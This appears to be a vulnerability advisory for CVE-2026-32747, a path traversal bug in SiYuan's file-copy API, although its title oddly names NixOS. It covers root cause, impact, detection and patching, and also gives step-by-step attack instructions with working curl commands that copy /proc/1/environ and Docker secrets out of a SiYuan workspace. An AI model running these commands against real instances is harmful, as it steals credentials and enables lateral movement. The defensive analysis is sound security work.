CVE-2026-32747: 
NixOS vulnerability analysis and mitigation

CVE-2026-32747 is a path traversal vulnerability in SiYuan, a personal knowledge management system, affecting versions 3.6.0 and below. The flaw resides in the POST /api/file/globalCopyFiles API endpoint, which uses an incomplete sensitive path blocklist that fails to block access to /proc/, /run/secrets/, and home directory dotfiles, allowing an authenticated admin to read and exfiltrate arbitrary files. It was disclosed on March 14, 2026, and patched in version 3.6.1. The CVSS v3.1 base score is 6.8 (Moderate) per the GitHub Security Advisory, or 4.9 (Medium) per NVD (GitHub Advisory, SiYuan Advisory).

The root cause is a combination of CWE-22 (Path Traversal) and CWE-184 (Incomplete List of Disallowed Inputs). In kernel/api/file.go, the globalCopyFiles function resolves source paths using filepath.Abs() without enforcing a workspace boundary, relying solely on util.IsSensitivePath() for access control. The pre-patch blocklist in kernel/util/path.go only covered prefixes such as /etc/ssh, /root, /etc, /var/lib/, and /., leaving /proc/, /run/secrets/, /tmp/, and non-root home directory dotfiles (e.g., /home/siyuan/.aws/credentials) fully accessible. An attacker with admin credentials can POST a crafted JSON payload to copy sensitive files into the workspace, then retrieve them via the standard getFile API (GitHub Advisory, Patch Commit).

Successful exploitation allows an authenticated admin to exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist, with a high confidentiality impact and no integrity or availability impact. In containerized deployments — a common pattern for SiYuan — this includes environment variables (e.g., DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY) from /proc/1/environ, Docker Swarm/Compose secrets from /run/secrets/*, SSH private keys, and AWS credentials. Exfiltrated files persist in the workspace until manually deleted and are accessible via the standard workspace file API, potentially enabling further lateral movement or credential abuse (SiYuan Advisory).

A proof-of-concept exploit consisting of concrete curl commands is publicly available in the GitHub Security Advisory, demonstrating direct file exfiltration against a live SiYuan instance (SiYuan Advisory). Exploitation requires admin-level authentication (high privileges), making it less accessible to unauthenticated attackers but still significant in multi-tenant or shared deployments. The EPSS score is approximately 0.037–0.095%, indicating a low but non-negligible probability of exploitation in the wild. No active in-the-wild exploitation or threat actor attribution has been reported as of the time of disclosure, and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory).

1. Obtain Admin Credentials: Acquire a valid SiYuan admin token (e.g., via the accessAuthCode set at container startup or through credential theft).
2. Identify Target Instance: Locate a SiYuan instance running version 3.6.0 or below, typically exposed on port 6806 (e.g., via Shodan or internal network scanning).
3. Copy Sensitive File into Workspace: Send a POST request to /api/file/globalCopyFiles with the target sensitive file path in the srcs parameter:

TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

4. Retrieve the Exfiltrated File: Use the standard getFile API to read the copied file from the workspace:

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

5. Exfiltrate Docker Secrets (if containerized): Repeat step 3 targeting /run/secrets/db_password, /run/secrets/api_token, or other known secret paths.
6. Use Exfiltrated Credentials: Leverage obtained secrets (API keys, database passwords, SSH keys) for further access or lateral movement (SiYuan Advisory).

• Network: Unusual POST requests to /api/file/globalCopyFiles with srcs parameters pointing to paths outside the workspace (e.g., /proc/, /run/secrets/, /home/); subsequent POST requests to /api/file/getFile for files in data/assets/ with names matching system files (e.g., environ, db_password).
• Logs: SiYuan access logs showing API calls to globalCopyFiles with non-workspace source paths; repeated getFile requests for recently created files in data/assets/ that do not correspond to user-uploaded content.
• File System: Unexpected files in the SiYuan workspace data/assets/ directory with names matching system or secret files (e.g., environ, id_rsa, credentials, db_password, api_token); file timestamps inconsistent with normal user activity.
• Process: SiYuan process performing file copy operations from /proc/, /run/secrets/, or home directory paths as observed via system call auditing (e.g., auditd or strace) (SiYuan Advisory).

Upgrade SiYuan to version 3.6.1 or later, which expands the IsSensitivePath() blocklist to include /proc, /sys, /run, /bin, /boot, /dev, /lib, /srv, /tmp, /var, and additional home directory sensitive paths and filename prefixes (Patch Commit, v3.6.1 Release). If immediate patching is not possible, restrict admin access to trusted users only and audit the workspace data/assets/ directory for any unexpectedly exfiltrated files. In containerized deployments, run SiYuan with the minimum required privileges and implement network segmentation to limit exposure of the workspace file API to trusted networks only (SiYuan Advisory).

The vulnerability was reported by security researcher fg0x0 and published by the SiYuan maintainer (88250) on March 14, 2026, with a patch released three days later in v3.6.1 (GitHub Advisory). The advisory was picked up by the openSUSE security announce mailing list and Linux security news aggregators, indicating moderate community awareness (GitHub Advisory). No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified.